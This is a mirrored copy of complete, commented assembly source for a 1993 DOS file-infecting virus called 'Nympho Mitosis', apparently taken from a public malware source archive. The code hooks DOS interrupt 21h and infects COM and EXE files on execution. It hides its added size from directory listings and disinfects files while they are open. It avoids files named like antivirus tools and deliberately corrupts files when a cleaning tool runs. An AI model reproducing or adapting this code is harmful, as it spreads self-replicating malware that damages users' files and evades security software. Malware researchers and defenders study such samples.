mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
493 lines
32 KiB
NASM
493 lines
32 KiB
NASM
.model tiny ;_ASSUME CS=DS=ES=SS
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.code ;/
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org 100h ;Origin @ 100h (COM File)
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;
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start: ;Marks Start of Source
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v_start: ;Marks Start of Virus
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mov bp,000h ;<Ä¿ Constantly ;** Get Rid of TBAV's
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delta equ $-002h ;<ÄÙ Changing ;** Flexible Entry Point
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;
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push ds es ;Save Segments onto Stack
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;
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mov ax,5D3Dh ;AX=5D3Dh / CHECKRESIDENT
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int 021h ;DOS Services
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;
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cmp ax,003Dh ;Is the Virus Resident?
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je restoreCOMEXEfile ;Jump if Equal/Zero
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;
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cwd ;Load Register w/Zero
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mov ds,dx ;DS=>Starting of INT Table
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xchg di,dx ;Load Register w/Zero
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;
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lds ax,dword ptr ds:[084h] ;Load Far Pointer to DS:AX
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mov word ptr cs:[bp+Int21hOffset],ax ;Save Interrupt Offset
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mov word ptr cs:[bp+Int21hSegment],ds ;Save Interrupt Segment
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;
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mov ax,es ;ES=PSP=AX
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dec ax ;Decrement for Last MCB
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mov ds,ax ;AX=Last MCB=DS
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;
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cmp byte ptr ds:[di+000h],05Ah ;Is MCB Last in Chain?
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jne restoreCOMEXEfile ;Jump if Not Equal/Zero
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;
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mov byte ptr ds:[di+000h],04Dh ;Mark MCB as NOT Last
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sub word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d+001h
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sub word ptr ds:[di+012h],(heap_end-v_start+100h+015d)/016d+001h
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;
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mov ax,word ptr ds:[di+012h] ;AX=Location of Virus MCB
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;
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mov ds,ax ;DS=Location of Virus MCB
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inc ax ;Increment for Mem Loc
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mov es,ax ;AX=Memory Location=ES
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;
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mov byte ptr ds:[di+000h],05Ah ;Mark MCB as Last in Chain
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mov word ptr ds:[di+001h],008h ;Mark DOS as Owner of MCB
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mov word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d
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;
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push cs ;Push Segment onto Stack
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pop ds ;Restore into DS (CS=DS)
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;
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cld ;Clear Direction Flag
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mov di,100h ;DI=Location in Memory
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lea si,[bp+v_start] ;SI=Source of Data
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mov cx,(heap_end-v_start)/002h ;CX=Number of Bytes
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rep movsw ;Word @ DS:[SI]=>ES:[DI]
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;
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mov ds,cx ;CX=000h=DS=Int Table
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;
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cli ;Turn OFF Interrupts
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mov word ptr ds:[084h],offset Int21Handler
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mov word ptr ds:[086h],es ;Location in Memory
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sti ;Turn ON Interrupts
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;
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restoreCOMEXEfile: ;
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pop es ds ;Restore Segments
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;
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mov ax,5A4Dh ;AX=5A4Dh (MZ)
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lea si,cs:[bp+host_bytes] ;SI=Host_Bytes
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;
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cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host?
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je restoreEXEfile ;Jump if Equal/Zero
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;
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xchg ah,al ;Exchange Registers (ZM)
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;
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cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host?
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je restoreEXEfile ;Jump if Equal/Zero
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;
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restoreCOMfile: ;
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mov di,0FFh ;DI=Location in Memory
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inc di ;Increment for Real Loc
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push di ;Push DI onto Stack
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mov byte ptr [di],0C3h ;** Here, we screw up
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;** the file _if_ TBClean
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call di ;** is being run.
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;** Thanks LM!
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movsw ;Word @ DS:[SI]=>ES:[DI]
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movsb ;Byte @ DS:[SI]=>ES:[DI]
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;
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retn ;Return to Host Program
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;
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restoreEXEfile: ;
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mov ax,es ;ES=PSP=AX
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;
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add ax,010h ;Skip One Segment for CS
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add ax,word ptr cs:[si+016h] ;Calculate Start of Prog
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;
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push ax ;Push New CS to Stack
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push word ptr cs:[si+014h] ;Push IP to Stack
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;
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retf ;Return to Host Program
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;
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db "[Nympho Mitosis] v1.0",000h ;Le Nom du Virus
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db "Copyright (c) 1993 Memory Lapse",000h
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;
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Int21Handler: ;
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cmp ax,5D3Dh ;Is Virus Checking?
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jne check_execute ;Jump if Not Equal/Zero
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;
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cbw ;Convert AL to AX
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;
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iret ;Interrupt Return
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;
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check_execute: ;
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cmp ah,011h ;Are We Doing a DIR?
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je _FCBStealth ;Jump if Equal/Zero
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; (DOS)
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cmp ah,012h ;Are We Doing a DIR?
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je _FCBStealth ;Jump if Equal/Zero
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; (DOS)
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cmp ah,04Eh ;Are We Doing a DIR?
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je _DTAStealth ;Jump if Equal/Zero
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; (4DOS)
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cmp ah,04Fh ;Are We Doing a DIR?
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je _DTAStealth ;Jump if Equal/Zero
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; (4DOS)
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push ax bx cx dx di si ds es ;Push Registers onto Stack
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;
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cmp ax,6C00h ;Are We Extended Opening?
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je __disinfectCOMEXEfile ;Jump if Equal/Zero
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;
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cmp ah,03Dh ;Are We Opening?
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je _disinfectCOMEXEfile ;Jump if Equal/Zero
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;
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dec ax ;** Get Rid of TBAV's
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;** Traps Loading of SW.
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cmp ax,4AFFh ;Are We Executing?
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je _infectCOMEXEfile ;Jump if Equal/Zero
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;
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_Interrupt21h: ;
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pop es ds si di dx cx bx ax ;Restore Registers
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;
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Interrupt21h: ;
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db 0EAh,000h,000h,000h,000h ;JMP FAR PTR SSSS:OOOO
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;
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Int21hOffset equ $-004h ;Buffer for Int 21 Offset
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Int21hSegment equ $-002h ;Buffer for Int 21 Segment
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;
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_FCBStealth: ;
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jmp FCBStealth ;Unconditional Jump
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;
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_DTAStealth: ;
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jmp DTAStealth ;Unconditional Jump
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;
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_infectCOMEXEfile: ;
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jmp infectCOMEXEfile ;Unconditional Jump
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;
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__disinfectCOMEXEfile: ;
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xchg dx,si ;SI=File Name=>DX
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;
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_disinfectCOMEXEfile: ;
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jmp disinfectCOMEXEfile ;Unconditional Jump
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;
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FCBStealth: ;
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pushf ;Push Flags to Top of Stck
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push cs ;Push Segment onto Stack
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call Interrupt21h ;Simulate Interrupt
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;
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test al,al ;Was There an Error?
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jnz endFCBstealth ;Jump if Not Equal/Zero
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;
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push es dx cx bx ax ;Push Registers onto Stack
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;
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mov ah,051h ;AH=51h / GET PSP ADDRESS
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int 021h ;DOS Services
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;
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mov es,bx ;BX=Address=ES
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;
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cmp bx,word ptr es:[016h] ;Is This a Parent PSP?
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jne restoreFCBregisters ;Jump if Not Equal/Zero
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;
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mov bx,dx ;DX=BX
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mov al,[bx] ;Get First Byte of FCB
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;
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push ax ;Save Byte onto Stack
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;
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mov ah,02Fh ;AH=2Fh / GET DTA ADDRESS
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int 021h ;DOS Services
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;
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pop ax ;Restore AX
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;
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inc al ;Is This an Extended FCB?
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jnz checkFCBinfected ;Jump if Not Equal/Zero
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;
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add bx,007h ;Convert to Normal FCB
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;
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checkFCBinfected: ;
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mov cx,word ptr es:[bx+017h] ;CX=Time
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mov dx,word ptr es:[bx+019h] ;DX=Date
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;
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and cx,01Fh ;Unmask Seconds Field
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and dx,01Fh ;Unmask Day Field
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;
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xor cx,dx ;Are They the Same?
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jnz restoreFCBregisters ;Jump if Not Equal/Zero
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;
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sub word ptr es:[bx+01Dh],(v_end-v_start);Subtract Virus Length
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sbb word ptr es:[bx+01Fh],000h ;Subtract if Borrow
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;
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restoreFCBregisters: ;
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pop ax bx cx dx es ;Restore Registers
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;
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endFCBstealth: ;
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iret ;Interrupt Return
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;
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DTAStealth: ;
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pushf ;Push Flags to Top of Stck
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push cs ;Push Segment onto Stack
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call Interrupt21h ;Simulate Interrupt
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;
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jc endDTAstealth ;Jump if Carry Flag Set
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;
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push es dx cx bx ax ;Save Registers onto Stack
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;
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mov ah,02Fh ;AH=2Fh / GET PSP ADDRESS
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int 021h ;DOS Services
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;
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mov cx,word ptr es:[bx+016h] ;CX=Time
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mov dx,word ptr es:[bx+018h] ;DX=Date
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;
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and cx,01Fh ;Unmask Seconds Field
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and dx,01Fh ;Unmask Day Field
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;
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xor cx,dx ;Are They the Same?
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jnz restoreDTAregisters ;Jump if Not Equal/Zero
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;
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sub word ptr es:[bx+01Ah],(v_end-v_start);Subtract Virus Size
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sbb word ptr es:[bx+01Ch],000h ;Subtract if Borrow
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;
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restoreDTAregisters: ;
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pop ax bx cx dx es ;Restore Registers
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;
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endDTAstealth: ;
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retf 002h ;Return Far (POP 2 WORDS)
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;
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disinfectCOMEXEfile: ;
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call OpenAndGetSFT ;Call Procedure
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;
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mov cx,word ptr es:[di+00Dh] ;CX=Time
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mov dx,word ptr es:[di+00Fh] ;DX=Date
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;
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and cx,01Fh ;Unmask Seconds Field
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and dx,01Fh ;Unmask Day Field
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;
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xor cx,dx ;Are They the Same?
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jnz disinfect_close ;Jump if Not Equal/Zero
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;
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call LSeek ;Move File Pointer to End
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;
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xchg cx,dx ;Exchange Register Values
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xchg dx,ax ;Exchange Register Values
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;
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push dx cx ;Save File Size to Stack
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;
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sub dx,018h ;Subtract 18 for Host_Byte
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sbb cx,000h ;Subtract if Borrow
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;
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mov word ptr es:[di+015h],dx ;Move File Pointer to
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mov word ptr es:[di+017h],cx ;Starting of Host_Bytes
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;
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mov dx,offset temp_buffer ;DX=Buffer for Data
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mov cx,018h ;CX=Number of Bytes
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mov ah,03Fh ;AH=3Fh / READ
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int 021h ;DOS Services
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;
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mov word ptr es:[di+015h],000h ;Move File Pointer to
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mov word ptr es:[di+017h],000h ;Starting of File (SFT)
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;
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mov ah,040h ;AH=40h / WRITE
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int 021h ;DOS Services
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;
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pop cx dx ;Restore File Size
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;
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sub dx,(v_end-v_start) ;Subtract Virus Size
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sbb cx,000h ;Subtract if Borrow
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;
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mov word ptr es:[di+015h],dx ;Move File Pointer to
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mov word ptr es:[di+017h],cx ;Starting of Virus
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;
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sub cx,cx ;Load Register w/Zero
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mov ah,040h ;AH=40h / WRITE
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int 021h ;DOS Services
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;
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mov cx,word ptr es:[di+00Dh] ;CX=Time
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and cl,0E0h ;Unmask Seconds Field
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or cl,008h ;Set Seconds to 016d
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mov dx,word ptr es:[di+00Fh] ;DX=Date
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;
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jmp preCLOSECOMEXEfile ;Unconditional Jump
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;
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disinfect_close: ;
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jmp closeCOMEXEfile ;Unconditional Jump
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;
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infectCOMEXEfile: ;
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call OpenAndGetSFT ;Call Procedure
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;
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mov cx,word ptr es:[di+00Dh] ;CX=Time
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mov dx,word ptr es:[di+00Fh] ;DX=Date
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;
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and cx,01Fh ;Unmask Seconds Field
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and dx,01Fh ;Unmask Day Field
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;
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xor cx,dx ;Are They the Same?
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jz _closeCOMEXEfile ;Jump if Equal/Zero
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;
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cmp word ptr es:[di+020h],'BT' ;Could It Be ThunderByte?
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je _closeCOMEXEfile ;Jump if Equal/Zero
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;
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cmp word ptr es:[di+020h],'-F' ;Could it Be F-Prot?
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je _closeCOMEXEfile ;Jump if Equal/Zero
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;
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cmp word ptr es:[di+020h],'CS' ;Could it Be ViruScan?
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je _closeCOMEXEfile ;Jump if Equal/Zero
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;
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cmp word ptr es:[di+020h],'LC' ;Could it Be Clean?
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je _closeCOMEXEfile ;Jump if Equal/Zero
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;
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mov dx,offset host_bytes ;DX=Buffer for Data
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mov cx,018h ;CX=Number of Bytes
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mov ah,03Fh ;AH=3Fh / READ
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int 021h ;DOS Services
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;
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mov word ptr es:[di+015h],000h ;Move File Pointer to
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mov word ptr es:[di+017h],000h ;Starting of File (SFT)
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;
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mov si,offset temp_buffer ;SI=Temp_buffer
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;
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mov ax,4D5Ah ;** Get Rid of TBAV's
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;** EXE/COM Determination
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cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File?
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je infectEXEfile ;Jump if Equal/Zero
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;
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xchg ah,al ;Exchange Registers (MZ)
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;
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cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File?
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je infectEXEfile ;Jump if Equal/Zero
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;
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infectCOMfile: ;
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call LSeek ;Move File Pointer to End
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;
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mov word ptr [delta],ax ;Write New Delta Offset
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;
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sub ax,003h ;Subtract 03 for JMP Loc
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mov byte ptr [si+000h],0E9h ;Write JMP to Buffer
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mov word ptr [si+001h],ax ;Write JMP Loc to Buffer
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;
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mov cx,003h ;CX=Number of Bytes
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push cx ;Push Register onto Stack
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;
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jmp continueCOMEXEinfect ;Unconditional Jump
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;
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_closeCOMEXEfile: ;
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jmp closeCOMEXEfile ;Unconditional Jump
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;
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infectEXEfile: ;
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mov dx,si ;DX=Buffer for Data
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push cx ;CX=Number of Bytes
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mov ah,03Fh ;AH=3Fh / READ
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int 021h ;DOS Services
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;
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call LSeek ;Move File Pointer to End
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;
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push dx ax ;Push File Size onto Stack
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;
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add ax,(v_end-v_start) ;Add Virus Size to Low Bit
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adc dx,000h ;Add if Carry to High Bit
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;
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mov cx,200h ;CX=Number to Divide By
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div cx ;Divide AX by CX
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;
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or dx,dx ;Do We Need to Round Up?
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je no_burp ;Jump if Equal/Zero
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;
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inc ax ;Increment AX
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;
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no_burp: ;
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mov word ptr [si+004h],ax ;New Length of File ö 512
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mov word ptr [si+002h],dx ;New # of Bytes in Last Pg
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;
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pop ax dx ;Restore File Size
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;
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mov cx,010h ;CX=Number to Divide By
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div cx ;Divide AX by CX
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;
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sub ax,word ptr [si+008h] ;Subtact Header Size
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;
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mov word ptr [si+016h],ax ;CS=Segment of Virus
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mov word ptr [si+014h],dx ;IP=Location of Virus
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;
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sub dx,100h ;Subtract 100h for Offset
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mov word ptr [delta],dx ;Write New Delta Offset
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;
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continueCOMEXEinfect: ;
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mov dx,offset v_start ;DX=Location of Data
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mov cx,(v_end-v_start) ;CX=Number of Bytes
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mov ah,040h ;AH=40h / WRITE
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int 021h ;DOS Services
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;
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mov word ptr es:[di+015h],000h ;Move File Pointer to
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mov word ptr es:[di+017h],000h ;Starting of File (SFT)
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;
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xchg dx,si ;DX=Location of Data
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pop cx ;CX=Number of Bytes
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mov ah,040h ;AH=40h / WRITE
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int 021h ;DOS Services
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;
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mov cx,word ptr es:[di+00Dh] ;CX=Time
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mov dx,word ptr es:[di+00Fh] ;DX=Date
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;
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push dx ;Push Date Stamp to Stack
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;
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and cx,-020h ;Reset Seconds
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and dx,01Fh ;Unmask Day Field
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;
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or cx,dx ;Move Day into Seconds
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;
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pop dx ;Restore Date
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;
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preCLOSECOMEXEfile: ;
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mov ax,5701h ;AX=5701h / SET T/D STAMPS
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int 021h ;DOS Services
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;
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closeCOMEXEfile: ;
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mov ah,03Eh ;AH=3Eh / CLOSE File
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int 021h ;DOS Services
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;
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jmp _Interrupt21h ;Unconditional Jump
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;
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OpenAndGetSFT: ;
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mov ax,3D00h ;AX=3D00h / OPEN R/O
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pushf ;Push Flags to Top of Stck
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push cs ;Push Segment to Stack
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call Interrupt21h ;Simulate Interrupt
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;
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xchg ax,bx ;Move File Handle to BX
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;
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push bx cs cs ;Push Registers to Stack
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pop es ds ;Equal Out Segments
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;
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mov ax,1220h ;AX=1220h / GET JFT
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int 02Fh ;Multiplex Interrupt
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;
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mov ax,1216h ;AX=1216h / GET SFT
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mov bl,byte ptr es:[di] ;Move Byte into BL
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int 02Fh ;Multiplex Interrupt
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;
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pop bx ;Restore File Handle
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;
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mov word ptr es:[di+002h],002h ;Open in Read/Write Mode
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;
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retn ;Return to Point of Call
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;
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LSeek: push ds ;Push Segment onto Stack
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;
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lds ax,dword ptr es:[di+011h] ;Load Far Pointer to DS:AX
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mov word ptr es:[di+015h],ax ;Move File Pointer to
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mov word ptr es:[di+017h],ds ;End of File. (SFT)
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mov dx,ds ;Move High Bit to DX
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;
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pop ds ;Restore Segment to DS
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;
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retn ;Return to Point of Call
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;
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host_bytes dw 020CDh ;First 3 for COM ;Marks Host as an EXE
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dw 002h ;# of Bytes @ Last Page
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dw 004h ;# of Pages + Header Size
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dw 006h ;# of Relocatable Entries
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dw 008h ;Size of Header (Paras)
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dw 00Ah ;Min. Memory Required
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dw 00Ch ;Max. Memory Wanted
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dw 00Eh ;SS Value at Entry
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dw 010h ;SP Value at Entry
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|
dw 012h ;Negative Checksum
|
|
dw 014h ;IP Value at Entry
|
|
dw 016h ;CS Value at Entry
|
|
;
|
|
v_end: ;Marks End of Virus
|
|
heap_start: ;Marks Start of Heap
|
|
;
|
|
temp_buffer db 018h dup (?) ;Multipurpose Buffer
|
|
;
|
|
heap_end: ;Marks End of Heap
|
|
;
|
|
end start ;Marks End of Source
|